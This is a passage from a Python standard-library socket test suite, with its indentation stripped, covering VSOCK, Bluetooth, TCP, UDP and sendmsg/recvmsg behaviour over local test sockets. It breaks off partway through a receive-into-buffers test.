@unittest.skipUnless(HAVE_SOCKET_VSOCK,
'VSOCK sockets required for this test.')
class BasicVSOCKTest(unittest.TestCase):
def testCrucialConstants(self):
socket.AF_VSOCK
def testVSOCKConstants(self):
socket.SO_VM_SOCKETS_BUFFER_SIZE
socket.SO_VM_SOCKETS_BUFFER_MIN_SIZE
socket.SO_VM_SOCKETS_BUFFER_MAX_SIZE
socket.VMADDR_CID_ANY
socket.VMADDR_PORT_ANY
socket.VMADDR_CID_HOST
socket.VM_SOCKETS_INVALID_VERSION
socket.IOCTL_VM_SOCKETS_GET_LOCAL_CID
def testCreateSocket(self):
with socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM) as s:
pass
def testSocketBufferSize(self):
with socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM) as s:
orig_max = s.getsockopt(socket.AF_VSOCK,
socket.SO_VM_SOCKETS_BUFFER_MAX_SIZE)
orig = s.getsockopt(socket.AF_VSOCK,
socket.SO_VM_SOCKETS_BUFFER_SIZE)
orig_min = s.getsockopt(socket.AF_VSOCK,
socket.SO_VM_SOCKETS_BUFFER_MIN_SIZE)
s.setsockopt(socket.AF_VSOCK,
socket.SO_VM_SOCKETS_BUFFER_MAX_SIZE, orig_max * 2)
s.setsockopt(socket.AF_VSOCK,
socket.SO_VM_SOCKETS_BUFFER_SIZE, orig * 2)
s.setsockopt(socket.AF_VSOCK,
socket.SO_VM_SOCKETS_BUFFER_MIN_SIZE, orig_min * 2)
self.assertEqual(orig_max * 2,
s.getsockopt(socket.AF_VSOCK,
socket.SO_VM_SOCKETS_BUFFER_MAX_SIZE))
self.assertEqual(orig * 2,
s.getsockopt(socket.AF_VSOCK,
socket.SO_VM_SOCKETS_BUFFER_SIZE))
self.assertEqual(orig_min * 2,
s.getsockopt(socket.AF_VSOCK,
socket.SO_VM_SOCKETS_BUFFER_MIN_SIZE))
@unittest.skipUnless(HAVE_SOCKET_BLUETOOTH,
'Bluetooth sockets required for this test.')
class BasicBluetoothTest(unittest.TestCase):
def testBluetoothConstants(self):
socket.BDADDR_ANY
socket.BDADDR_LOCAL
socket.AF_BLUETOOTH
socket.BTPROTO_RFCOMM
if sys.platform != "win32":
socket.BTPROTO_HCI
socket.SOL_HCI
socket.BTPROTO_L2CAP
if not sys.platform.startswith("freebsd"):
socket.BTPROTO_SCO
def testCreateRfcommSocket(self):
with socket.socket(socket.AF_BLUETOOTH, socket.SOCK_STREAM, socket.BTPROTO_RFCOMM) as s:
pass
@unittest.skipIf(sys.platform == "win32", "windows does not support L2CAP sockets")
def testCreateL2capSocket(self):
with socket.socket(socket.AF_BLUETOOTH, socket.SOCK_SEQPACKET, socket.BTPROTO_L2CAP) as s:
pass
@unittest.skipIf(sys.platform == "win32", "windows does not support HCI sockets")
def testCreateHciSocket(self):
with socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI) as s:
pass
@unittest.skipIf(sys.platform == "win32" or sys.platform.startswith("freebsd"),
"windows and freebsd do not support SCO sockets")
def testCreateScoSocket(self):
with socket.socket(socket.AF_BLUETOOTH, socket.SOCK_SEQPACKET, socket.BTPROTO_SCO) as s:
pass
class BasicTCPTest(SocketConnectedTest):
def __init__(self, methodName='runTest'):
SocketConnectedTest.__init__(self, methodName=methodName)
def testRecv(self):
# Testing large receive over TCP
msg = self.cli_conn.recv(1024)
self.assertEqual(msg, MSG)
def _testRecv(self):
self.serv_conn.send(MSG)
def testOverFlowRecv(self):
# Testing receive in chunks over TCP
seg1 = self.cli_conn.recv(len(MSG) - 3)
seg2 = self.cli_conn.recv(1024)
msg = seg1 + seg2
self.assertEqual(msg, MSG)
def _testOverFlowRecv(self):
self.serv_conn.send(MSG)
def testRecvFrom(self):
# Testing large recvfrom() over TCP
msg, addr = self.cli_conn.recvfrom(1024)
self.assertEqual(msg, MSG)
def _testRecvFrom(self):
self.serv_conn.send(MSG)
def testOverFlowRecvFrom(self):
# Testing recvfrom() in chunks over TCP
seg1, addr = self.cli_conn.recvfrom(len(MSG)-3)
seg2, addr = self.cli_conn.recvfrom(1024)
msg = seg1 + seg2
self.assertEqual(msg, MSG)
def _testOverFlowRecvFrom(self):
self.serv_conn.send(MSG)
def testSendAll(self):
# Testing sendall() with a 2048 byte string over TCP
msg = b''
while 1:
read = self.cli_conn.recv(1024)
if not read:
break
msg += read
self.assertEqual(msg, b'f' * 2048)
def _testSendAll(self):
big_chunk = b'f' * 2048
self.serv_conn.sendall(big_chunk)
def testFromFd(self):
# Testing fromfd()
fd = self.cli_conn.fileno()
sock = socket.fromfd(fd, socket.AF_INET, socket.SOCK_STREAM)
self.addCleanup(sock.close)
self.assertIsInstance(sock, socket.socket)
msg = sock.recv(1024)
self.assertEqual(msg, MSG)
def _testFromFd(self):
self.serv_conn.send(MSG)
def testDup(self):
# Testing dup()
sock = self.cli_conn.dup()
self.addCleanup(sock.close)
msg = sock.recv(1024)
self.assertEqual(msg, MSG)
def _testDup(self):
self.serv_conn.send(MSG)
def testShutdown(self):
# Testing shutdown()
msg = self.cli_conn.recv(1024)
self.assertEqual(msg, MSG)
# wait for _testShutdown to finish: on OS X, when the server
# closes the connection the client also becomes disconnected,
# and the client's shutdown call will fail. (Issue #4397.)
self.done.wait()
def _testShutdown(self):
self.serv_conn.send(MSG)
self.serv_conn.shutdown(2)
testShutdown_overflow = support.cpython_only(testShutdown)
@support.cpython_only
def _testShutdown_overflow(self):
import _testcapi
self.serv_conn.send(MSG)
# Issue 15989
self.assertRaises(OverflowError, self.serv_conn.shutdown,
_testcapi.INT_MAX + 1)
self.assertRaises(OverflowError, self.serv_conn.shutdown,
2 + (_testcapi.UINT_MAX + 1))
self.serv_conn.shutdown(2)
def testDetach(self):
# Testing detach()
fileno = self.cli_conn.fileno()
f = self.cli_conn.detach()
self.assertEqual(f, fileno)
# cli_conn cannot be used anymore...
self.assertTrue(self.cli_conn._closed)
self.assertRaises(OSError, self.cli_conn.recv, 1024)
self.cli_conn.close()
# ...but we can create another socket using the (still open)
# file descriptor
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno=f)
self.addCleanup(sock.close)
msg = sock.recv(1024)
self.assertEqual(msg, MSG)
def _testDetach(self):
self.serv_conn.send(MSG)
class BasicUDPTest(ThreadedUDPSocketTest):
def __init__(self, methodName='runTest'):
ThreadedUDPSocketTest.__init__(self, methodName=methodName)
def testSendtoAndRecv(self):
# Testing sendto() and Recv() over UDP
msg = self.serv.recv(len(MSG))
self.assertEqual(msg, MSG)
def _testSendtoAndRecv(self):
self.cli.sendto(MSG, 0, (HOST, self.port))
def testRecvFrom(self):
# Testing recvfrom() over UDP
msg, addr = self.serv.recvfrom(len(MSG))
self.assertEqual(msg, MSG)
def _testRecvFrom(self):
self.cli.sendto(MSG, 0, (HOST, self.port))
def testRecvFromNegative(self):
# Negative lengths passed to recvfrom should give ValueError.
self.assertRaises(ValueError, self.serv.recvfrom, -1)
def _testRecvFromNegative(self):
self.cli.sendto(MSG, 0, (HOST, self.port))
@unittest.skipUnless(HAVE_SOCKET_UDPLITE,
'UDPLITE sockets required for this test.')
class BasicUDPLITETest(ThreadedUDPLITESocketTest):
def __init__(self, methodName='runTest'):
ThreadedUDPLITESocketTest.__init__(self, methodName=methodName)
def testSendtoAndRecv(self):
# Testing sendto() and Recv() over UDPLITE
msg = self.serv.recv(len(MSG))
self.assertEqual(msg, MSG)
def _testSendtoAndRecv(self):
self.cli.sendto(MSG, 0, (HOST, self.port))
def testRecvFrom(self):
# Testing recvfrom() over UDPLITE
msg, addr = self.serv.recvfrom(len(MSG))
self.assertEqual(msg, MSG)
def _testRecvFrom(self):
self.cli.sendto(MSG, 0, (HOST, self.port))
def testRecvFromNegative(self):
# Negative lengths passed to recvfrom should give ValueError.
self.assertRaises(ValueError, self.serv.recvfrom, -1)
def _testRecvFromNegative(self):
self.cli.sendto(MSG, 0, (HOST, self.port))
# Tests for the sendmsg()/recvmsg() interface. Where possible, the
# same test code is used with different families and types of socket
# (e.g. stream, datagram), and tests using recvmsg() are repeated
# using recvmsg_into().
#
# The generic test classes such as SendmsgTests and
# RecvmsgGenericTests inherit from SendrecvmsgBase and expect to be
# supplied with sockets cli_sock and serv_sock representing the
# client's and the server's end of the connection respectively, and
# attributes cli_addr and serv_addr holding their (numeric where
# appropriate) addresses.
#
# The final concrete test classes combine these with subclasses of
# SocketTestBase which set up client and server sockets of a specific
# type, and with subclasses of SendrecvmsgBase such as
# SendrecvmsgDgramBase and SendrecvmsgConnectedBase which map these
# sockets to cli_sock and serv_sock and override the methods and
# attributes of SendrecvmsgBase to fill in destination addresses if
# needed when sending, check for specific flags in msg_flags, etc.
#
# RecvmsgIntoMixin provides a version of doRecvmsg() implemented using
# recvmsg_into().
# XXX: like the other datagram (UDP) tests in this module, the code
# here assumes that datagram delivery on the local machine will be
# reliable.
class SendrecvmsgBase(ThreadSafeCleanupTestCase):
# Base class for sendmsg()/recvmsg() tests.
# Time in seconds to wait before considering a test failed, or
# None for no timeout. Not all tests actually set a timeout.
fail_timeout = support.LOOPBACK_TIMEOUT
def setUp(self):
self.misc_event = threading.Event()
super().setUp()
def sendToServer(self, msg):
# Send msg to the server.
return self.cli_sock.send(msg)
# Tuple of alternative default arguments for sendmsg() when called
# via sendmsgToServer() (e.g. to include a destination address).
sendmsg_to_server_defaults = ()
def sendmsgToServer(self, *args):
# Call sendmsg() on self.cli_sock with the given arguments,
# filling in any arguments which are not supplied with the
# corresponding items of self.sendmsg_to_server_defaults, if
# any.
return self.cli_sock.sendmsg(
*(args + self.sendmsg_to_server_defaults[len(args):]))
def doRecvmsg(self, sock, bufsize, *args):
# Call recvmsg() on sock with given arguments and return its
# result. Should be used for tests which can use either
# recvmsg() or recvmsg_into() - RecvmsgIntoMixin overrides
# this method with one which emulates it using recvmsg_into(),
# thus allowing the same test to be used for both methods.
result = sock.recvmsg(bufsize, *args)
self.registerRecvmsgResult(result)
return result
def registerRecvmsgResult(self, result):
# Called by doRecvmsg() with the return value of recvmsg() or
# recvmsg_into(). Can be overridden to arrange cleanup based
# on the returned ancillary data, for instance.
pass
def checkRecvmsgAddress(self, addr1, addr2):
# Called to compare the received address with the address of
# the peer.
self.assertEqual(addr1, addr2)
# Flags that are normally unset in msg_flags
msg_flags_common_unset = 0
for name in ("MSG_CTRUNC", "MSG_OOB"):
msg_flags_common_unset |= getattr(socket, name, 0)
# Flags that are normally set
msg_flags_common_set = 0
# Flags set when a complete record has been received (e.g. MSG_EOR
# for SCTP)
msg_flags_eor_indicator = 0
# Flags set when a complete record has not been received
# (e.g. MSG_TRUNC for datagram sockets)
msg_flags_non_eor_indicator = 0
def checkFlags(self, flags, eor=None, checkset=0, checkunset=0, ignore=0):
# Method to check the value of msg_flags returned by recvmsg[_into]().
#
# Checks that all bits in msg_flags_common_set attribute are
# set in "flags" and all bits in msg_flags_common_unset are
# unset.
#
# The "eor" argument specifies whether the flags should
# indicate that a full record (or datagram) has been received.
# If "eor" is None, no checks are done; otherwise, checks
# that:
#
# * if "eor" is true, all bits in msg_flags_eor_indicator are
# set and all bits in msg_flags_non_eor_indicator are unset
#
# * if "eor" is false, all bits in msg_flags_non_eor_indicator
# are set and all bits in msg_flags_eor_indicator are unset
#
# If "checkset" and/or "checkunset" are supplied, they require
# the given bits to be set or unset respectively, overriding
# what the attributes require for those bits.
#
# If any bits are set in "ignore", they will not be checked,
# regardless of the other inputs.
#
# Will raise Exception if the inputs require a bit to be both
# set and unset, and it is not ignored.
defaultset = self.msg_flags_common_set
defaultunset = self.msg_flags_common_unset
if eor:
defaultset |= self.msg_flags_eor_indicator
defaultunset |= self.msg_flags_non_eor_indicator
elif eor is not None:
defaultset |= self.msg_flags_non_eor_indicator
defaultunset |= self.msg_flags_eor_indicator
# Function arguments override defaults
defaultset &= ~checkunset
defaultunset &= ~checkset
# Merge arguments with remaining defaults, and check for conflicts
checkset |= defaultset
checkunset |= defaultunset
inboth = checkset & checkunset & ~ignore
if inboth:
raise Exception("contradictory set, unset requirements for flags "
"{0:#x}".format(inboth))
# Compare with given msg_flags value
mask = (checkset | checkunset) & ~ignore
self.assertEqual(flags & mask, checkset & mask)
class RecvmsgIntoMixin(SendrecvmsgBase):
# Mixin to implement doRecvmsg() using recvmsg_into().
def doRecvmsg(self, sock, bufsize, *args):
buf = bytearray(bufsize)
result = sock.recvmsg_into([buf], *args)
self.registerRecvmsgResult(result)
self.assertGreaterEqual(result[0], 0)
self.assertLessEqual(result[0], bufsize)
return (bytes(buf[:result[0]]),) + result[1:]
class SendrecvmsgDgramFlagsBase(SendrecvmsgBase):
# Defines flags to be checked in msg_flags for datagram sockets.
@property
def msg_flags_non_eor_indicator(self):
return super().msg_flags_non_eor_indicator | socket.MSG_TRUNC
class SendrecvmsgSCTPFlagsBase(SendrecvmsgBase):
# Defines flags to be checked in msg_flags for SCTP sockets.
@property
def msg_flags_eor_indicator(self):
return super().msg_flags_eor_indicator | socket.MSG_EOR
class SendrecvmsgConnectionlessBase(SendrecvmsgBase):
# Base class for tests on connectionless-mode sockets. Users must
# supply sockets on attributes cli and serv to be mapped to
# cli_sock and serv_sock respectively.
@property
def serv_sock(self):
return self.serv
@property
def cli_sock(self):
return self.cli
@property
def sendmsg_to_server_defaults(self):
return ([], [], 0, self.serv_addr)
def sendToServer(self, msg):
return self.cli_sock.sendto(msg, self.serv_addr)
class SendrecvmsgConnectedBase(SendrecvmsgBase):
# Base class for tests on connected sockets. Users must supply
# sockets on attributes serv_conn and cli_conn (representing the
# connections *to* the server and the client), to be mapped to
# cli_sock and serv_sock respectively.
@property
def serv_sock(self):
return self.cli_conn
@property
def cli_sock(self):
return self.serv_conn
def checkRecvmsgAddress(self, addr1, addr2):
# Address is currently "unspecified" for a connected socket,
# so we don't examine it
pass
class SendrecvmsgServerTimeoutBase(SendrecvmsgBase):
# Base class to set a timeout on server's socket.
def setUp(self):
super().setUp()
self.serv_sock.settimeout(self.fail_timeout)
class SendmsgTests(SendrecvmsgServerTimeoutBase):
# Tests for sendmsg() which can use any socket type and do not
# involve recvmsg() or recvmsg_into().
def testSendmsg(self):
# Send a simple message with sendmsg().
self.assertEqual(self.serv_sock.recv(len(MSG)), MSG)
def _testSendmsg(self):
self.assertEqual(self.sendmsgToServer([MSG]), len(MSG))
def testSendmsgDataGenerator(self):
# Send from buffer obtained from a generator (not a sequence).
self.assertEqual(self.serv_sock.recv(len(MSG)), MSG)
def _testSendmsgDataGenerator(self):
self.assertEqual(self.sendmsgToServer((o for o in [MSG])),
len(MSG))
def testSendmsgAncillaryGenerator(self):
# Gather (empty) ancillary data from a generator.
self.assertEqual(self.serv_sock.recv(len(MSG)), MSG)
def _testSendmsgAncillaryGenerator(self):
self.assertEqual(self.sendmsgToServer([MSG], (o for o in [])),
len(MSG))
def testSendmsgArray(self):
# Send data from an array instead of the usual bytes object.
self.assertEqual(self.serv_sock.recv(len(MSG)), MSG)
def _testSendmsgArray(self):
self.assertEqual(self.sendmsgToServer([array.array("B", MSG)]),
len(MSG))
def testSendmsgGather(self):
# Send message data from more than one buffer (gather write).
self.assertEqual(self.serv_sock.recv(len(MSG)), MSG)
def _testSendmsgGather(self):
self.assertEqual(self.sendmsgToServer([MSG[:3], MSG[3:]]), len(MSG))
def testSendmsgBadArgs(self):
# Check that sendmsg() rejects invalid arguments.
self.assertEqual(self.serv_sock.recv(1000), b"done")
def _testSendmsgBadArgs(self):
self.assertRaises(TypeError, self.cli_sock.sendmsg)
self.assertRaises(TypeError, self.sendmsgToServer,
b"not in an iterable")
self.assertRaises(TypeError, self.sendmsgToServer,
object())
self.assertRaises(TypeError, self.sendmsgToServer,
[object()])
self.assertRaises(TypeError, self.sendmsgToServer,
[MSG, object()])
self.assertRaises(TypeError, self.sendmsgToServer,
[MSG], object())
self.assertRaises(TypeError, self.sendmsgToServer,
[MSG], [], object())
self.assertRaises(TypeError, self.sendmsgToServer,
[MSG], [], 0, object())
self.sendToServer(b"done")
def testSendmsgBadCmsg(self):
# Check that invalid ancillary data items are rejected.
self.assertEqual(self.serv_sock.recv(1000), b"done")
def _testSendmsgBadCmsg(self):
self.assertRaises(TypeError, self.sendmsgToServer,
[MSG], [object()])
self.assertRaises(TypeError, self.sendmsgToServer,
[MSG], [(object(), 0, b"data")])
self.assertRaises(TypeError, self.sendmsgToServer,
[MSG], [(0, object(), b"data")])
self.assertRaises(TypeError, self.sendmsgToServer,
[MSG], [(0, 0, object())])
self.assertRaises(TypeError, self.sendmsgToServer,
[MSG], [(0, 0)])
self.assertRaises(TypeError, self.sendmsgToServer,
[MSG], [(0, 0, b"data", 42)])
self.sendToServer(b"done")
@requireAttrs(socket, "CMSG_SPACE")
def testSendmsgBadMultiCmsg(self):
# Check that invalid ancillary data items are rejected when
# more than one item is present.
self.assertEqual(self.serv_sock.recv(1000), b"done")
@testSendmsgBadMultiCmsg.client_skip
def _testSendmsgBadMultiCmsg(self):
self.assertRaises(TypeError, self.sendmsgToServer,
[MSG], [0, 0, b""])
self.assertRaises(TypeError, self.sendmsgToServer,
[MSG], [(0, 0, b""), object()])
self.sendToServer(b"done")
def testSendmsgExcessCmsgReject(self):
# Check that sendmsg() rejects excess ancillary data items
# when the number that can be sent is limited.
self.assertEqual(self.serv_sock.recv(1000), b"done")
def _testSendmsgExcessCmsgReject(self):
if not hasattr(socket, "CMSG_SPACE"):
# Can only send one item
with self.assertRaises(OSError) as cm:
self.sendmsgToServer([MSG], [(0, 0, b""), (0, 0, b"")])
self.assertIsNone(cm.exception.errno)
self.sendToServer(b"done")
def testSendmsgAfterClose(self):
# Check that sendmsg() fails on a closed socket.
pass
def _testSendmsgAfterClose(self):
self.cli_sock.close()
self.assertRaises(OSError, self.sendmsgToServer, [MSG])
class SendmsgStreamTests(SendmsgTests):
# Tests for sendmsg() which require a stream socket and do not
# involve recvmsg() or recvmsg_into().
def testSendmsgExplicitNoneAddr(self):
# Check that peer address can be specified as None.
self.assertEqual(self.serv_sock.recv(len(MSG)), MSG)
def _testSendmsgExplicitNoneAddr(self):
self.assertEqual(self.sendmsgToServer([MSG], [], 0, None), len(MSG))
def testSendmsgTimeout(self):
# Check that timeout works with sendmsg().
self.assertEqual(self.serv_sock.recv(512), b"a"*512)
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
def _testSendmsgTimeout(self):
try:
self.cli_sock.settimeout(0.03)
try:
while True:
self.sendmsgToServer([b"a"*512])
except socket.timeout:
pass
except OSError as exc:
if exc.errno != errno.ENOMEM:
raise
# bpo-33937 the test randomly fails on Travis CI with
# "OSError: [Errno 12] Cannot allocate memory"
else:
self.fail("socket.timeout not raised")
finally:
self.misc_event.set()
# XXX: would be nice to have more tests for sendmsg flags argument.
# Linux supports MSG_DONTWAIT when sending, but in general, it
# only works when receiving. Could add other platforms if they
# support it too.
@skipWithClientIf(sys.platform not in {"linux"},
"MSG_DONTWAIT not known to work on this platform when "
"sending")
def testSendmsgDontWait(self):
# Check that MSG_DONTWAIT in flags causes non-blocking behaviour.
self.assertEqual(self.serv_sock.recv(512), b"a"*512)
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
@testSendmsgDontWait.client_skip
def _testSendmsgDontWait(self):
try:
with self.assertRaises(OSError) as cm:
while True:
self.sendmsgToServer([b"a"*512], [], socket.MSG_DONTWAIT)
# bpo-33937: catch also ENOMEM, the test randomly fails on Travis CI
# with "OSError: [Errno 12] Cannot allocate memory"
self.assertIn(cm.exception.errno,
(errno.EAGAIN, errno.EWOULDBLOCK, errno.ENOMEM))
finally:
self.misc_event.set()
class SendmsgConnectionlessTests(SendmsgTests):
# Tests for sendmsg() which require a connectionless-mode
# (e.g. datagram) socket, and do not involve recvmsg() or
# recvmsg_into().
def testSendmsgNoDestAddr(self):
# Check that sendmsg() fails when no destination address is
# given for unconnected socket.
pass
def _testSendmsgNoDestAddr(self):
self.assertRaises(OSError, self.cli_sock.sendmsg,
[MSG])
self.assertRaises(OSError, self.cli_sock.sendmsg,
[MSG], [], 0, None)
class RecvmsgGenericTests(SendrecvmsgBase):
# Tests for recvmsg() which can also be emulated using
# recvmsg_into(), and can use any socket type.
def testRecvmsg(self):
# Receive a simple message with recvmsg[_into]().
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock, len(MSG))
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=True)
def _testRecvmsg(self):
self.sendToServer(MSG)
def testRecvmsgExplicitDefaults(self):
# Test recvmsg[_into]() with default arguments provided explicitly.
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock,
len(MSG), 0, 0)
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=True)
def _testRecvmsgExplicitDefaults(self):
self.sendToServer(MSG)
def testRecvmsgShorter(self):
# Receive a message smaller than buffer.
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock,
len(MSG) + 42)
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=True)
def _testRecvmsgShorter(self):
self.sendToServer(MSG)
def testRecvmsgTrunc(self):
# Receive part of message, check for truncation indicators.
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock,
len(MSG) - 3)
self.assertEqual(msg, MSG[:-3])
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=False)
def _testRecvmsgTrunc(self):
self.sendToServer(MSG)
def testRecvmsgShortAncillaryBuf(self):
# Test ancillary data buffer too small to hold any ancillary data.
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock,
len(MSG), 1)
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=True)
def _testRecvmsgShortAncillaryBuf(self):
self.sendToServer(MSG)
def testRecvmsgLongAncillaryBuf(self):
# Test large ancillary data buffer.
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock,
len(MSG), 10240)
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=True)
def _testRecvmsgLongAncillaryBuf(self):
self.sendToServer(MSG)
def testRecvmsgAfterClose(self):
# Check that recvmsg[_into]() fails on a closed socket.
self.serv_sock.close()
self.assertRaises(OSError, self.doRecvmsg, self.serv_sock, 1024)
def _testRecvmsgAfterClose(self):
pass
def testRecvmsgTimeout(self):
# Check that timeout works.
try:
self.serv_sock.settimeout(0.03)
self.assertRaises(socket.timeout,
self.doRecvmsg, self.serv_sock, len(MSG))
finally:
self.misc_event.set()
def _testRecvmsgTimeout(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
@requireAttrs(socket, "MSG_PEEK")
def testRecvmsgPeek(self):
# Check that MSG_PEEK in flags enables examination of pending
# data without consuming it.
# Receive part of data with MSG_PEEK.
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock,
len(MSG) - 3, 0,
socket.MSG_PEEK)
self.assertEqual(msg, MSG[:-3])
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
# Ignoring MSG_TRUNC here (so this test is the same for stream
# and datagram sockets). Some wording in POSIX seems to
# suggest that it needn't be set when peeking, but that may
# just be a slip.
self.checkFlags(flags, eor=False,
ignore=getattr(socket, "MSG_TRUNC", 0))
# Receive all data with MSG_PEEK.
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock,
len(MSG), 0,
socket.MSG_PEEK)
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=True)
# Check that the same data can still be received normally.
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock, len(MSG))
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=True)
@testRecvmsgPeek.client_skip
def _testRecvmsgPeek(self):
self.sendToServer(MSG)
@requireAttrs(socket.socket, "sendmsg")
def testRecvmsgFromSendmsg(self):
# Test receiving with recvmsg[_into]() when message is sent
# using sendmsg().
self.serv_sock.settimeout(self.fail_timeout)
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock, len(MSG))
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=True)
@testRecvmsgFromSendmsg.client_skip
def _testRecvmsgFromSendmsg(self):
self.assertEqual(self.sendmsgToServer([MSG[:3], MSG[3:]]), len(MSG))
class RecvmsgGenericStreamTests(RecvmsgGenericTests):
# Tests which require a stream socket and can use either recvmsg()
# or recvmsg_into().
def testRecvmsgEOF(self):
# Receive end-of-stream indicator (b"", peer socket closed).
msg, ancdata, flags, addr = self.doRecvmsg(self.serv_sock, 1024)
self.assertEqual(msg, b"")
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=None) # Might not have end-of-record marker
def _testRecvmsgEOF(self):
self.cli_sock.close()
def testRecvmsgOverflow(self):
# Receive a message in more than one chunk.
seg1, ancdata, flags, addr = self.doRecvmsg(self.serv_sock,
len(MSG) - 3)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=False)
seg2, ancdata, flags, addr = self.doRecvmsg(self.serv_sock, 1024)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=True)
msg = seg1 + seg2
self.assertEqual(msg, MSG)
def _testRecvmsgOverflow(self):
self.sendToServer(MSG)
class RecvmsgTests(RecvmsgGenericTests):
# Tests for recvmsg() which can use any socket type.
def testRecvmsgBadArgs(self):
# Check that recvmsg() rejects invalid arguments.
self.assertRaises(TypeError, self.serv_sock.recvmsg)
self.assertRaises(ValueError, self.serv_sock.recvmsg,
-1, 0, 0)
self.assertRaises(ValueError, self.serv_sock.recvmsg,
len(MSG), -1, 0)
self.assertRaises(TypeError, self.serv_sock.recvmsg,
[bytearray(10)], 0, 0)
self.assertRaises(TypeError, self.serv_sock.recvmsg,
object(), 0, 0)
self.assertRaises(TypeError, self.serv_sock.recvmsg,
len(MSG), object(), 0)
self.assertRaises(TypeError, self.serv_sock.recvmsg,
len(MSG), 0, object())
msg, ancdata, flags, addr = self.serv_sock.recvmsg(len(MSG), 0, 0)
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=True)
def _testRecvmsgBadArgs(self):
self.sendToServer(MSG)
class RecvmsgIntoTests(RecvmsgIntoMixin, RecvmsgGenericTests):
# Tests for recvmsg_into() which can use any socket type.
def testRecvmsgIntoBadArgs(self):
# Check that recvmsg_into() rejects invalid arguments.
buf = bytearray(len(MSG))
self.assertRaises(TypeError, self.serv_sock.recvmsg_into)
self.assertRaises(TypeError, self.serv_sock.recvmsg_into,
len(MSG), 0, 0)
self.assertRaises(TypeError, self.serv_sock.recvmsg_into,
buf, 0, 0)
self.assertRaises(TypeError, self.serv_sock.recvmsg_into,
[object()], 0, 0)
self.assertRaises(TypeError, self.serv_sock.recvmsg_into,
[b"I'm not writable"], 0, 0)
self.assertRaises(TypeError, self.serv_sock.recvmsg_into,
[buf, object()], 0, 0)
self.assertRaises(ValueError, self.serv_sock.recvmsg_into,
[buf], -1, 0)
self.assertRaises(TypeError, self.serv_sock.recvmsg_into,
[buf], object(), 0)
self.assertRaises(TypeError, self.serv_sock.recvmsg_into,
[buf], 0, object())
nbytes, ancdata, flags, addr = self.serv_sock.recvmsg_into([buf], 0, 0)
self.assertEqual(nbytes, len(MSG))
self.assertEqual(buf, bytearray(MSG))
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=True)
def _testRecvmsgIntoBadArgs(self):
self.sendToServer(MSG)
def testRecvmsgIntoGenerator(self):
# Receive into buffer obtained from a generator (not a sequence).
buf = bytearray(len(MSG))
nbytes, ancdata, flags, addr = self.serv_sock.recvmsg_into(
(o for o in [buf]))
self.assertEqual(nbytes, len(MSG))
self.assertEqual(buf, bytearray(MSG))
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=True)
def _testRecvmsgIntoGenerator(self):
self.sendToServer(MSG)
def testRecvmsgIntoArray(self):
# Receive into an array rather than the usual bytearray.
buf = array.array("B", [0] * len(MSG))
nbytes, ancdata, flags, addr = self.serv_sock.recvmsg_into([buf])
self.assertEqual(nbytes, len(MSG))
self.assertEqual(buf.tobytes(), MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=True)
def _testRecvmsgIntoArray(self):
self.sendToServer(MSG)
def testRecvmsgIntoScatter(self):
# Receive into multiple buffers (scatter write).
b1 = bytearray(b"----")
b2 = bytearray(b"0123456789")
b3 = bytearray(b"--------------")
nbytes, ancdata, flags, addr = self.serv_sock.recvmsg_into(
[b1, memoryview(b2)[2:9], b3])
self.assertEqual(nbytes, len(b"Mary had a little lamb"))
self.assertEqual(b1, bytearray(b"Mary"))
self.assertEqual(b2, bytearray(b"01 had a 9"))
self.assertEqual(b3, bytearray(b"little lamb---"))
self.checkRecvmsgAddress(addr, self.cli_addr)
self.assertEqual(ancdata, [])
self.checkFlags(flags, eor=True)
def _testRecvmsgIntoScatter(self):
